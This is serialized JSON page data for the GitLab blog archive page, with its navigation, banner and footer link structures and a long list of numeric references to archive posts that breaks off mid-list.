[{"data":1,"prerenderedAt":40850},["ShallowReactive",2],{"/en-us/blog/archive/":3,"navigation-en-us":21,"banner-en-us":438,"footer-en-us":450,"archivePosts-en-us":661},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8,"content":11,"config":13,"_id":15,"_type":16,"title":7,"_source":17,"_file":18,"_stem":19,"_extension":20},"/en-us/blog/archive","blog",false,"",{"title":9,"description":10},"GitLab Blog Archives","Tutorials, product information, expert insights, and more from GitLab to help DevSecOps teams build, test, and deploy secure software faster.",{"header":12},"Blog Archive",{"template":14},"BlogArchive","content:en-us:blog:archive:index.yml","yaml","content","en-us/blog/archive/index.yml","en-us/blog/archive/index","yml",{"_path":22,"_dir":23,"_draft":6,"_partial":6,"_locale":7,"data":24,"_id":434,"_type":16,"title":435,"_source":17,"_file":436,"_stem":437,"_extension":20},"/shared/en-us/main-navigation","en-us",{"logo":25,"freeTrial":30,"sales":35,"login":40,"items":45,"search":375,"minimal":406,"duo":425},{"config":26},{"href":27,"dataGaName":28,"dataGaLocation":29},"/","gitlab logo","header",{"text":31,"config":32},"Get free trial",{"href":33,"dataGaName":34,"dataGaLocation":29},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":36,"config":37},"Talk to sales",{"href":38,"dataGaName":39,"dataGaLocation":29},"/sales/","sales",{"text":41,"config":42},"Sign in",{"href":43,"dataGaName":44,"dataGaLocation":29},"https://gitlab.com/users/sign_in/","sign in",[46,90,186,191,296,356],{"text":47,"config":48,"cards":50,"footer":73},"Platform",{"dataNavLevelOne":49},"platform",[51,57,65],{"title":47,"description":52,"link":53},"The most comprehensive AI-powered DevSecOps Platform",{"text":54,"config":55},"Explore our Platform",{"href":56,"dataGaName":49,"dataGaLocation":29},"/platform/",{"title":58,"description":59,"link":60},"GitLab Duo (AI)","Build software faster with AI at every stage of development",{"text":61,"config":62},"Meet GitLab Duo",{"href":63,"dataGaName":64,"dataGaLocation":29},"/gitlab-duo/","gitlab duo ai",{"title":66,"description":67,"link":68},"Why GitLab","10 reasons why Enterprises choose GitLab",{"text":69,"config":70},"Learn more",{"href":71,"dataGaName":72,"dataGaLocation":29},"/why-gitlab/","why gitlab",{"title":74,"items":75},"Get started with",[76,81,86],{"text":77,"config":78},"Platform Engineering",{"href":79,"dataGaName":80,"dataGaLocation":29},"/solutions/platform-engineering/","platform engineering",{"text":82,"config":83},"Developer Experience",{"href":84,"dataGaName":85,"dataGaLocation":29},"/developer-experience/","Developer experience",{"text":87,"config":88},"MLOps",{"href":89,"dataGaName":87,"dataGaLocation":29},"/topics/devops/the-role-of-ai-in-devops/",{"text":91,"left":92,"config":93,"link":95,"lists":99,"footer":168},"Product",true,{"dataNavLevelOne":94},"solutions",{"text":96,"config":97},"View all Solutions",{"href":98,"dataGaName":94,"dataGaLocation":29},"/solutions/",[100,125,147],{"title":101,"description":102,"link":103,"items":108},"Automation","CI/CD and automation to accelerate deployment",{"config":104},{"icon":105,"href":106,"dataGaName":107,"dataGaLocation":29},"AutomatedCodeAlt","/solutions/delivery-automation/","automated software delivery",[109,113,117,121],{"text":110,"config":111},"CI/CD",{"href":112,"dataGaLocation":29,"dataGaName":110},"/solutions/continuous-integration/",{"text":114,"config":115},"AI-Assisted Development",{"href":63,"dataGaLocation":29,"dataGaName":116},"AI assisted development",{"text":118,"config":119},"Source Code Management",{"href":120,"dataGaLocation":29,"dataGaName":118},"/solutions/source-code-management/",{"text":122,"config":123},"Automated Software Delivery",{"href":106,"dataGaLocation":29,"dataGaName":124},"Automated software delivery",{"title":126,"description":127,"link":128,"items":133},"Security","Deliver code faster without compromising security",{"config":129},{"href":130,"dataGaName":131,"dataGaLocation":29,"icon":132},"/solutions/security-compliance/","security and compliance","ShieldCheckLight",[134,137,142],{"text":135,"config":136},"Security & Compliance",{"href":130,"dataGaLocation":29,"dataGaName":135},{"text":138,"config":139},"Software Supply Chain Security",{"href":140,"dataGaLocation":29,"dataGaName":141},"/solutions/supply-chain/","Software supply chain security",{"text":143,"config":144},"Compliance & Governance",{"href":145,"dataGaLocation":29,"dataGaName":146},"/solutions/continuous-software-compliance/","Compliance and governance",{"title":148,"link":149,"items":154},"Measurement",{"config":150},{"icon":151,"href":152,"dataGaName":153,"dataGaLocation":29},"DigitalTransformation","/solutions/visibility-measurement/","visibility and measurement",[155,159,163],{"text":156,"config":157},"Visibility & Measurement",{"href":152,"dataGaLocation":29,"dataGaName":158},"Visibility and Measurement",{"text":160,"config":161},"Value Stream Management",{"href":162,"dataGaLocation":29,"dataGaName":160},"/solutions/value-stream-management/",{"text":164,"config":165},"Analytics & Insights",{"href":166,"dataGaLocation":29,"dataGaName":167},"/solutions/analytics-and-insights/","Analytics and insights",{"title":169,"items":170},"GitLab for",[171,176,181],{"text":172,"config":173},"Enterprise",{"href":174,"dataGaLocation":29,"dataGaName":175},"/enterprise/","enterprise",{"text":177,"config":178},"Small Business",{"href":179,"dataGaLocation":29,"dataGaName":180},"/small-business/","small business",{"text":182,"config":183},"Public Sector",{"href":184,"dataGaLocation":29,"dataGaName":185},"/solutions/public-sector/","public sector",{"text":187,"config":188},"Pricing",{"href":189,"dataGaName":190,"dataGaLocation":29,"dataNavLevelOne":190},"/pricing/","pricing",{"text":192,"config":193,"link":195,"lists":199,"feature":283},"Resources",{"dataNavLevelOne":194},"resources",{"text":196,"config":197},"View all resources",{"href":198,"dataGaName":194,"dataGaLocation":29},"/resources/",[200,233,255],{"title":201,"items":202},"Getting started",[203,208,213,218,223,228],{"text":204,"config":205},"Install",{"href":206,"dataGaName":207,"dataGaLocation":29},"/install/","install",{"text":209,"config":210},"Quick start guides",{"href":211,"dataGaName":212,"dataGaLocation":29},"/get-started/","quick setup checklists",{"text":214,"config":215},"Learn",{"href":216,"dataGaLocation":29,"dataGaName":217},"https://university.gitlab.com/","learn",{"text":219,"config":220},"Product documentation",{"href":221,"dataGaName":222,"dataGaLocation":29},"https://docs.gitlab.com/","product documentation",{"text":224,"config":225},"Best practice videos",{"href":226,"dataGaName":227,"dataGaLocation":29},"/getting-started-videos/","best practice videos",{"text":229,"config":230},"Integrations",{"href":231,"dataGaName":232,"dataGaLocation":29},"/integrations/","integrations",{"title":234,"items":235},"Discover",[236,241,245,250],{"text":237,"config":238},"Customer success stories",{"href":239,"dataGaName":240,"dataGaLocation":29},"/customers/","customer success stories",{"text":242,"config":243},"Blog",{"href":244,"dataGaName":5,"dataGaLocation":29},"/blog/",{"text":246,"config":247},"Remote",{"href":248,"dataGaName":249,"dataGaLocation":29},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"text":251,"config":252},"TeamOps",{"href":253,"dataGaName":254,"dataGaLocation":29},"/teamops/","teamops",{"title":256,"items":257},"Connect",[258,263,268,273,278],{"text":259,"config":260},"GitLab Services",{"href":261,"dataGaName":262,"dataGaLocation":29},"/services/","services",{"text":264,"config":265},"Community",{"href":266,"dataGaName":267,"dataGaLocation":29},"/community/","community",{"text":269,"config":270},"Forum",{"href":271,"dataGaName":272,"dataGaLocation":29},"https://forum.gitlab.com/","forum",{"text":274,"config":275},"Events",{"href":276,"dataGaName":277,"dataGaLocation":29},"/events/","events",{"text":279,"config":280},"Partners",{"href":281,"dataGaName":282,"dataGaLocation":29},"/partners/","partners",{"backgroundColor":284,"textColor":285,"text":286,"image":287,"link":291},"#2f2a6b","#fff","Insights for the future of software development",{"altText":288,"config":289},"the source promo card",{"src":290},"/images/navigation/the-source-promo-card.svg",{"text":292,"config":293},"Read the latest",{"href":294,"dataGaName":295,"dataGaLocation":29},"/the-source/","the source",{"text":297,"config":298,"lists":300},"Company",{"dataNavLevelOne":299},"company",[301],{"items":302},[303,308,314,316,321,326,331,336,341,346,351],{"text":304,"config":305},"About",{"href":306,"dataGaName":307,"dataGaLocation":29},"/company/","about",{"text":309,"config":310,"footerGa":313},"Jobs",{"href":311,"dataGaName":312,"dataGaLocation":29},"/jobs/","jobs",{"dataGaName":312},{"text":274,"config":315},{"href":276,"dataGaName":277,"dataGaLocation":29},{"text":317,"config":318},"Leadership",{"href":319,"dataGaName":320,"dataGaLocation":29},"/company/team/e-group/","leadership",{"text":322,"config":323},"Team",{"href":324,"dataGaName":325,"dataGaLocation":29},"/company/team/","team",{"text":327,"config":328},"Handbook",{"href":329,"dataGaName":330,"dataGaLocation":29},"https://handbook.gitlab.com/","handbook",{"text":332,"config":333},"Investor relations",{"href":334,"dataGaName":335,"dataGaLocation":29},"https://ir.gitlab.com/","investor relations",{"text":337,"config":338},"Trust Center",{"href":339,"dataGaName":340,"dataGaLocation":29},"/security/","trust center",{"text":342,"config":343},"AI Transparency Center",{"href":344,"dataGaName":345,"dataGaLocation":29},"/ai-transparency-center/","ai transparency center",{"text":347,"config":348},"Newsletter",{"href":349,"dataGaName":350,"dataGaLocation":29},"/company/contact/","newsletter",{"text":352,"config":353},"Press",{"href":354,"dataGaName":355,"dataGaLocation":29},"/press/","press",{"text":357,"config":358,"lists":359},"Contact us",{"dataNavLevelOne":299},[360],{"items":361},[362,365,370],{"text":36,"config":363},{"href":38,"dataGaName":364,"dataGaLocation":29},"talk to sales",{"text":366,"config":367},"Get help",{"href":368,"dataGaName":369,"dataGaLocation":29},"/support/","get help",{"text":371,"config":372},"Customer portal",{"href":373,"dataGaName":374,"dataGaLocation":29},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":376,"login":377,"suggestions":384},"Close",{"text":378,"link":379},"To search repositories and projects, login to",{"text":380,"config":381},"gitlab.com",{"href":43,"dataGaName":382,"dataGaLocation":383},"search login","search",{"text":385,"default":386},"Suggestions",[387,389,393,395,399,403],{"text":58,"config":388},{"href":63,"dataGaName":58,"dataGaLocation":383},{"text":390,"config":391},"Code Suggestions (AI)",{"href":392,"dataGaName":390,"dataGaLocation":383},"/solutions/code-suggestions/",{"text":110,"config":394},{"href":112,"dataGaName":110,"dataGaLocation":383},{"text":396,"config":397},"GitLab on AWS",{"href":398,"dataGaName":396,"dataGaLocation":383},"/partners/technology-partners/aws/",{"text":400,"config":401},"GitLab on Google Cloud",{"href":402,"dataGaName":400,"dataGaLocation":383},"/partners/technology-partners/google-cloud-platform/",{"text":404,"config":405},"Why GitLab?",{"href":71,"dataGaName":404,"dataGaLocation":383},{"freeTrial":407,"mobileIcon":412,"desktopIcon":417,"secondaryButton":420},{"text":408,"config":409},"Start free trial",{"href":410,"dataGaName":34,"dataGaLocation":411},"https://gitlab.com/-/trials/new/","nav",{"altText":413,"config":414},"Gitlab Icon",{"src":415,"dataGaName":416,"dataGaLocation":411},"/images/brand/gitlab-logo-tanuki.svg","gitlab icon",{"altText":413,"config":418},{"src":419,"dataGaName":416,"dataGaLocation":411},"/images/brand/gitlab-logo-type.svg",{"text":421,"config":422},"Get Started",{"href":423,"dataGaName":424,"dataGaLocation":411},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/compare/gitlab-vs-github/","get started",{"freeTrial":426,"mobileIcon":430,"desktopIcon":432},{"text":427,"config":428},"Learn more about GitLab Duo",{"href":63,"dataGaName":429,"dataGaLocation":411},"gitlab duo",{"altText":413,"config":431},{"src":415,"dataGaName":416,"dataGaLocation":411},{"altText":413,"config":433},{"src":419,"dataGaName":416,"dataGaLocation":411},"content:shared:en-us:main-navigation.yml","Main Navigation","shared/en-us/main-navigation.yml","shared/en-us/main-navigation",{"_path":439,"_dir":23,"_draft":6,"_partial":6,"_locale":7,"title":440,"button":441,"config":445,"_id":447,"_type":16,"_source":17,"_file":448,"_stem":449,"_extension":20},"/shared/en-us/banner","GitLab Duo Agent Platform is now in public beta!",{"text":69,"config":442},{"href":443,"dataGaName":444,"dataGaLocation":29},"/gitlab-duo/agent-platform/","duo banner",{"layout":446},"release","content:shared:en-us:banner.yml","shared/en-us/banner.yml","shared/en-us/banner",{"_path":451,"_dir":23,"_draft":6,"_partial":6,"_locale":7,"data":452,"_id":657,"_type":16,"title":658,"_source":17,"_file":659,"_stem":660,"_extension":20},"/shared/en-us/main-footer",{"text":453,"source":454,"edit":460,"contribute":465,"config":470,"items":475,"minimal":649},"Git is a trademark of Software Freedom Conservancy and our use of 'GitLab' is under license",{"text":455,"config":456},"View page source",{"href":457,"dataGaName":458,"dataGaLocation":459},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":461,"config":462},"Edit this page",{"href":463,"dataGaName":464,"dataGaLocation":459},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":466,"config":467},"Please contribute",{"href":468,"dataGaName":469,"dataGaLocation":459},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":471,"facebook":472,"youtube":473,"linkedin":474},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[476,499,556,585,619],{"title":47,"links":477,"subMenu":482},[478],{"text":479,"config":480},"DevSecOps platform",{"href":56,"dataGaName":481,"dataGaLocation":459},"devsecops platform",[483],{"title":187,"links":484},[485,489,494],{"text":486,"config":487},"View plans",{"href":189,"dataGaName":488,"dataGaLocation":459},"view plans",{"text":490,"config":491},"Why Premium?",{"href":492,"dataGaName":493,"dataGaLocation":459},"/pricing/premium/","why premium",{"text":495,"config":496},"Why Ultimate?",{"href":497,"dataGaName":498,"dataGaLocation":459},"/pricing/ultimate/","why ultimate",{"title":500,"links":501},"Solutions",[502,507,510,512,517,522,526,529,533,538,540,543,546,551],{"text":503,"config":504},"Digital transformation",{"href":505,"dataGaName":506,"dataGaLocation":459},"/topics/digital-transformation/","digital transformation",{"text":135,"config":508},{"href":130,"dataGaName":509,"dataGaLocation":459},"security & compliance",{"text":124,"config":511},{"href":106,"dataGaName":107,"dataGaLocation":459},{"text":513,"config":514},"Agile development",{"href":515,"dataGaName":516,"dataGaLocation":459},"/solutions/agile-delivery/","agile delivery",{"text":518,"config":519},"Cloud transformation",{"href":520,"dataGaName":521,"dataGaLocation":459},"/topics/cloud-native/","cloud transformation",{"text":523,"config":524},"SCM",{"href":120,"dataGaName":525,"dataGaLocation":459},"source code management",{"text":110,"config":527},{"href":112,"dataGaName":528,"dataGaLocation":459},"continuous integration & delivery",{"text":530,"config":531},"Value stream management",{"href":162,"dataGaName":532,"dataGaLocation":459},"value stream management",{"text":534,"config":535},"GitOps",{"href":536,"dataGaName":537,"dataGaLocation":459},"/solutions/gitops/","gitops",{"text":172,"config":539},{"href":174,"dataGaName":175,"dataGaLocation":459},{"text":541,"config":542},"Small business",{"href":179,"dataGaName":180,"dataGaLocation":459},{"text":544,"config":545},"Public sector",{"href":184,"dataGaName":185,"dataGaLocation":459},{"text":547,"config":548},"Education",{"href":549,"dataGaName":550,"dataGaLocation":459},"/solutions/education/","education",{"text":552,"config":553},"Financial services",{"href":554,"dataGaName":555,"dataGaLocation":459},"/solutions/finance/","financial services",{"title":192,"links":557},[558,560,562,564,567,569,571,573,575,577,579,581,583],{"text":204,"config":559},{"href":206,"dataGaName":207,"dataGaLocation":459},{"text":209,"config":561},{"href":211,"dataGaName":212,"dataGaLocation":459},{"text":214,"config":563},{"href":216,"dataGaName":217,"dataGaLocation":459},{"text":219,"config":565},{"href":221,"dataGaName":566,"dataGaLocation":459},"docs",{"text":242,"config":568},{"href":244,"dataGaName":5,"dataGaLocation":459},{"text":237,"config":570},{"href":239,"dataGaName":240,"dataGaLocation":459},{"text":246,"config":572},{"href":248,"dataGaName":249,"dataGaLocation":459},{"text":259,"config":574},{"href":261,"dataGaName":262,"dataGaLocation":459},{"text":251,"config":576},{"href":253,"dataGaName":254,"dataGaLocation":459},{"text":264,"config":578},{"href":266,"dataGaName":267,"dataGaLocation":459},{"text":269,"config":580},{"href":271,"dataGaName":272,"dataGaLocation":459},{"text":274,"config":582},{"href":276,"dataGaName":277,"dataGaLocation":459},{"text":279,"config":584},{"href":281,"dataGaName":282,"dataGaLocation":459},{"title":297,"links":586},[587,589,591,593,595,597,599,603,608,610,612,614],{"text":304,"config":588},{"href":306,"dataGaName":299,"dataGaLocation":459},{"text":309,"config":590},{"href":311,"dataGaName":312,"dataGaLocation":459},{"text":317,"config":592},{"href":319,"dataGaName":320,"dataGaLocation":459},{"text":322,"config":594},{"href":324,"dataGaName":325,"dataGaLocation":459},{"text":327,"config":596},{"href":329,"dataGaName":330,"dataGaLocation":459},{"text":332,"config":598},{"href":334,"dataGaName":335,"dataGaLocation":459},{"text":600,"config":601},"Sustainability",{"href":602,"dataGaName":600,"dataGaLocation":459},"/sustainability/",{"text":604,"config":605},"Diversity, inclusion and belonging (DIB)",{"href":606,"dataGaName":607,"dataGaLocation":459},"/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":337,"config":609},{"href":339,"dataGaName":340,"dataGaLocation":459},{"text":347,"config":611},{"href":349,"dataGaName":350,"dataGaLocation":459},{"text":352,"config":613},{"href":354,"dataGaName":355,"dataGaLocation":459},{"text":615,"config":616},"Modern Slavery Transparency Statement",{"href":617,"dataGaName":618,"dataGaLocation":459},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"title":620,"links":621},"Contact Us",[622,625,627,629,634,639,644],{"text":623,"config":624},"Contact an expert",{"href":38,"dataGaName":39,"dataGaLocation":459},{"text":366,"config":626},{"href":368,"dataGaName":369,"dataGaLocation":459},{"text":371,"config":628},{"href":373,"dataGaName":374,"dataGaLocation":459},{"text":630,"config":631},"Status",{"href":632,"dataGaName":633,"dataGaLocation":459},"https://status.gitlab.com/","status",{"text":635,"config":636},"Terms of use",{"href":637,"dataGaName":638,"dataGaLocation":459},"/terms/","terms of use",{"text":640,"config":641},"Privacy statement",{"href":642,"dataGaName":643,"dataGaLocation":459},"/privacy/","privacy statement",{"text":645,"config":646},"Cookie preferences",{"dataGaName":647,"dataGaLocation":459,"id":648,"isOneTrustButton":92},"cookie preferences","ot-sdk-btn",{"items":650},[651,653,655],{"text":635,"config":652},{"href":637,"dataGaName":638,"dataGaLocation":459},{"text":640,"config":654},{"href":642,"dataGaName":643,"dataGaLocation":459},{"text":645,"config":656},{"dataGaName":647,"dataGaLocation":459,"id":648,"isOneTrustButton":92},"content:shared:en-us:main-footer.yml","Main Footer","shared/en-us/main-footer.yml","shared/en-us/main-footer",[662,684,703,724,743,761,782,802,823,842,859,877,895,912,930,951,972,990,1007,1024,1041,1058,1076,1095,1115,1136,1155,1173,1196,1214,1234,1254,1275,1294,1314,1332,1352,1370,1392,1413,1432,1451,1472,1492,1514,1533,1554,1574,1592,1612,1632,1651,1669,1689,1708,1730,1752,1770,1789,1807,1827,1846,1865,1884,1906,1925,1945,1966,1984,2002,2021,2040,2060,2078,2097,2118,2138,2158,2177,2195,2216,2234,2257,2276,2295,2315,2335,2354,2375,2394,2414,2434,2453,2475,2495,2516,2534,2554,2573,2592,2611,2632,2651,2670,2691,2712,2730,2749,2767,2787,2806,2825,2843,2862,2881,2901,2919,2938,2959,2976,2995,3016,3036,3056,3076,3095,3116,3135,3155,3175,3196,3214,3232,3250,3271,3290,3312,3331,3349,3369,3388,3406,3425,3446,3464,3483,3502,3522,3542,3561,3578,3596,3615,3633,3652,3671,3689,3707,3726,3745,3766,3786,3805,3824,3842,3860,3880,3898,3917,3936,3956,3975,3994,4013,4033,4052,4071,4090,4110,4132,4151,4170,4192,4211,4232,4252,4270,4290,4310,4330,4349,4369,4388,4407,4426,4444,4465,4487,4506,4526,4545,4565,4584,4604,4623,4643,4661,4681,4702,4721,4739,4758,4779,4799,4817,4836,4854,4875,4893,4913,4930,4952,4973,4991,5011,5028,5047,5066,5085,5103,5124,5142,5162,5181,5199,5218,5239,5258,5276,5295,5315,5334,5353,5372,5390,5408,5426,5446,5467,5487,5508,5527,5545,5565,5582,5602,5622,5640,5658,5677,5697,5716,5733,5751,5769,5789,5808,5826,5844,5863,5881,5901,5921,5940,5959,5979,5998,6017,6036,6054,6073,6092,6111,6129,6148,6167,6184,6204,6224,6242,6264,6283,6301,6320,6340,6358,6376,6394,6413,6432,6450,6469,6488,6508,6526,6543,6564,6584,6602,6621,6642,6662,6680,6699,6717,6736,6756,6775,6793,6811,6830,6850,6870,6890,6910,6929,6949,6969,6989,7008,7028,7046,7065,7083,7104,7123,7141,7159,7179,7198,7217,7237,7256,7277,7295,7313,7332,7350,7368,7387,7405,7422,7442,7460,7477,7495,7514,7532,7552,7570,7589,7609,7629,7646,7665,7684,7702,7722,7741,7760,7778,7796,7815,7834,7852,7870,7888,7905,7926,7945,7963,7981,8000,8018,8036,8054,8073,8093,8111,8130,8149,8166,8185,8204,8222,8241,8259,8278,8297,8315,8335,8353,8372,8390,8409,8428,8447,8465,8483,8501,8520,8539,8557,8577,8596,8615,8633,8652,8670,8689,8706,8725,8743,8762,8779,8797,8817,8836,8855,8874,8893,8911,8930,8951,8968,8985,9003,9022,9041,9061,9079,9098,9116,9134,9153,9171,9192,9211,9229,9248,9266,9284,9304,9324,9343,9364,9381,9400,9420,9438,9456,9475,9493,9512,9531,9548,9566,9586,9606,9625,9643,9661,9679,9697,9716,9733,9752,9770,9786,9806,9823,9841,9859,9877,9894,9914,9932,9951,9969,9987,10005,10024,10044,10063,10083,10102,10120,10139,10157,10175,10193,10211,10230,10249,10267,10287,10304,10322,10340,10359,10377,10396,10414,10432,10452,10470,10487,10507,10524,10542,10560,10578,10596,10614,10633,10652,10670,10688,10706,10725,10743,10761,10780,10797,10817,10835,10854,10873,10891,10909,10928,10947,10966,10986,11004,11023,11044,11062,11079,11098,11117,11136,11156,11174,11194,11214,11232,11252,11270,11290,11309,11328,11346,11366,11385,11403,11421,11441,11460,11479,11498,11516,11535,11553,11571,11591,11609,11628,11647,11666,11686,11704,11722,11741,11760,11780,11800,11819,11838,11858,11877,11895,11914,11933,11951,11970,11989,12008,12026,12045,12063,12085,12105,12123,12141,12160,12180,12199,12221,12238,12259,12278,12297,12317,12335,12354,12373,12391,12409,12428,12450,12469,12489,12507,12526,12545,12564,12583,12603,12622,12639,12659,12678,12698,12717,12734,12753,12772,12790,12809,12826,12844,12864,12883,12902,12920,12939,12960,12979,12998,13015,13034,13052,13071,13089,13109,13128,13146,13163,13182,13199,13219,13238,13257,13276,13296,13314,13332,13351,13371,13390,13409,13428,13449,13469,13488,13506,13524,13543,13563,13583,13601,13619,13637,13655,13674,13691,13710,13729,13747,13766,13784,13805,13824,13843,13862,13881,13900,13919,13938,13958,13976,13995,14015,14034,14053,14072,14092,14110,14129,14151,14168,14187,14205,14225,14245,14262,14281,14299,14316,14336,14355,14376,14396,14414,14434,14453,14472,14491,14510,14529,14548,14566,14584,14603,14620,14638,14656,14676,14694,14715,14734,14751,14770,14791,14810,14828,14846,14863,14883,14901,14920,14940,14959,14978,14997,15014,15032,15050,15068,15086,15105,15124,15144,15163,15180,15201,15219,15238,15255,15274,15293,15311,15328,15347,15366,15384,15403,15422,15439,15458,15476,15495,15513,15531,15550,15570,15587,15605,15622,15641,15660,15678,15696,15714,15735,15752,15771,15789,15806,15823,15841,15858,15878,15896,15914,15934,15952,15970,15988,16005,16025,16043,16061,16078,16099,16117,16135,16154,16172,16191,16209,16229,16248,16266,16284,16302,16319,16339,16357,16374,16398,16415,16434,16452,16471,16489,16508,16527,16546,16565,16585,16604,16622,16641,16659,16677,16694,16714,16733,16752,16771,16789,16807,16824,16842,16860,16879,16897,16916,16934,16951,16970,16988,17004,17023,17041,17059,17079,17098,17116,17136,17155,17172,17191,17209,17227,17245,17262,17282,17300,17319,17339,17359,17378,17396,17415,17433,17453,17472,17490,17507,17524,17544,17564,17583,17602,17621,17640,17660,17681,17699,17717,17736,17754,17774,17793,17812,17832,17850,17870,17888,17908,17927,17945,17963,17981,18000,18019,18038,18056,18075,18094,18115,18134,18151,18170,18189,18208,18228,18247,18266,18284,18303,18322,18339,18358,18376,18396,18415,18432,18451,18472,18491,18509,18529,18547,18566,18584,18602,18621,18640,18659,18677,18695,18713,18733,18752,18771,18789,18807,18827,18846,18866,18884,18905,18924,18943,18961,18978,18998,19017,19036,19056,19073,19091,19110,19127,19146,19164,19182,19200,19218,19238,19257,19275,19295,19314,19333,19352,19370,19388,19407,19426,19444,19462,19481,19498,19516,19535,19552,19571,19588,19607,19625,19643,19663,19681,19701,19718,19736,19755,19773,19791,19811,19829,19849,19867,19885,19903,19921,19939,19958,19978,19996,20014,20032,20051,20072,20090,20108,20127,20145,20164,20183,20203,20221,20239,20258,20277,20295,20313,20332,20349,20369,20387,20405,20424,20442,20461,20479,20497,20514,20532,20550,20568,20588,20606,20625,20644,20663,20682,20701,20719,20738,20756,20776,20795,20814,20832,20851,20869,20887,20905,20925,20943,20962,20980,20999,21016,21034,21053,21072,21091,21111,21130,21149,21167,21185,21202,21221,21241,21260,21278,21297,21316,21335,21354,21373,21393,21412,21431,21449,21467,21486,21504,21522,21540,21559,21577,21596,21614,21632,21651,21670,21688,21707,21726,21746,21763,21781,21801,21820,21838,21857,21876,21893,21913,21931,21950,21969,21990,22008,22027,22044,22063,22082,22101,22120,22139,22159,22180,22200,22218,22237,22255,22274,22292,22311,22330,22349,22367,22386,22405,22423,22441,22460,22479,22497,22516,22534,22552,22571,22590,22609,22628,22646,22666,22685,22703,22722,22741,22760,22779,22798,22815,22833,22852,22872,22890,22909,22927,22945,22964,22982,23001,23020,23039,23058,23076,23095,23113,23133,23150,23168,23186,23204,23223,23241,23259,23278,23297,23316,23333,23352,23371,23389,23408,23427,23445,23463,23481,23499,23518,23536,23554,23573,23591,23610,23628,23648,23665,23684,23702,23721,23739,23759,23775,23795,23813,23831,23848,23866,23886,23904,23923,23942,23960,23979,23997,24015,24034,24053,24071,24089,24108,24127,24144,24161,24179,24199,24218,24236,24256,24274,24293,24310,24328,24348,24365,24383,24401,24419,24438,24457,24474,24494,24514,24532,24550,24568,24587,24607,24625,24643,24661,24679,24698,24716,24735,24752,24771,24790,24809,24829,24846,24866,24885,24905,24924,24942,24961,24981,24999,25018,25037,25054,25073,25091,25108,25128,25147,25166,25184,25202,25220,25238,25257,25276,25295,25313,25331,25349,25368,25387,25404,25423,25441,25460,25481,25500,25518,25538,25558,25578,25598,25616,25633,25652,25671,25689,25708,25725,25743,25761,25780,25798,25817,25835,25854,25871,25890,25908,25926,25944,25962,25980,25999,26017,26036,26057,26076,26094,26112,26130,26148,26167,26184,26201,26221,26240,26259,26279,26297,26316,26335,26354,26374,26393,26411,26430,26449,26466,26486,26504,26522,26541,26559,26578,26597,26617,26635,26653,26671,26691,26710,26729,26749,26767,26785,26804,26823,26841,26860,26878,26899,26918,26937,26955,26973,26993,27011,27029,27048,27066,27083,27102,27119,27138,27157,27176,27195,27215,27234,27252,27271,27293,27311,27328,27347,27365,27384,27401,27419,27437,27455,27476,27494,27512,27532,27551,27569,27588,27607,27626,27643,27661,27678,27697,27716,27733,27752,27771,27788,27809,27827,27848,27865,27884,27903,27921,27940,27957,27976,27995,28014,28035,28054,28074,28093,28112,28130,28149,28166,28185,28205,28224,28242,28260,28279,28297,28316,28335,28356,28374,28392,28411,28429,28447,28466,28484,28502,28520,28537,28556,28574,28592,28611,28629,28648,28668,28688,28706,28725,28744,28763,28782,28803,28822,28841,28858,28877,28896,28914,28932,28951,28971,28989,29007,29025,29043,29061,29079,29098,29116,29135,29154,29172,29192,29211,29229,29248,29267,29285,29304,29324,29344,29364,29383,29403,29422,29440,29459,29477,29496,29514,29533,29552,29570,29589,29606,29625,29642,29661,29680,29698,29716,29734,29753,29772,29792,29810,29829,29848,29867,29885,29904,29922,29941,29960,29977,29996,30015,30031,30049,30068,30087,30105,30124,30142,30161,30181,30202,30220,30241,30260,30277,30297,30315,30334,30353,30371,30390,30408,30429,30447,30466,30483,30502,30522,30540,30559,30577,30596,30615,30636,30656,30674,30694,30715,30734,30752,30770,30791,30812,30832,30850,30868,30886,30904,30923,30942,30960,30979,30999,31017,31036,31055,31075,31095,31113,31131,31150,31170,31188,31205,31223,31242,31259,31278,31296,31315,31332,31350,31369,31388,31406,31425,31444,31462,31481,31500,31519,31538,31558,31577,31596,31614,31633,31651,31669,31687,31706,31725,31743,31761,31779,31798,31816,31833,31851,31869,31887,31906,31924,31941,31961,31979,31998,32017,32036,32056,32075,32093,32111,32129,32146,32164,32184,32203,32222,32242,32261,32279,32298,32316,32335,32354,32371,32389,32408,32428,32447,32466,32485,32502,32520,32539,32556,32574,32592,32611,32628,32647,32665,32682,32700,32718,32737,32755,32774,32792,32810,32829,32848,32866,32885,32903,32922,32941,32960,32980,32998,33016,33036,33054,33074,33093,33112,33131,33149,33166,33184,33204,33222,33240,33259,33278,33295,33313,33331,33350,33369,33389,33407,33425,33444,33464,33482,33502,33520,33539,33560,33578,33597,33616,33635,33654,33673,33691,33712,33730,33748,33766,33787,33805,33824,33842,33861,33881,33901,33920,33939,33958,33976,33995,34014,34033,34051,34070,34089,34107,34127,34145,34165,34185,34206,34224,34244,34262,34282,34301,34319,34338,34357,34376,34394,34413,34431,34449,34468,34487,34507,34525,34544,34563,34582,34601,34620,34640,34658,34678,34697,34716,34736,34756,34774,34793,34811,34829,34848,34868,34889,34906,34924,34944,34962,34982,35001,35020,35039,35057,35076,35096,35115,35133,35152,35172,35192,35212,35230,35248,35268,35287,35306,35324,35343,35362,35382,35401,35420,35440,35460,35480,35499,35517,35536,35554,35573,35592,35612,35630,35648,35668,35686,35706,35724,35743,35761,35779,35798,35815,35833,35851,35869,35886,35904,35922,35940,35958,35976,35994,36012,36030,36048,36065,36083,36101,36118,36136,36155,36172,36189,36207,36224,36242,36260,36277,36295,36313,36331,36349,36365,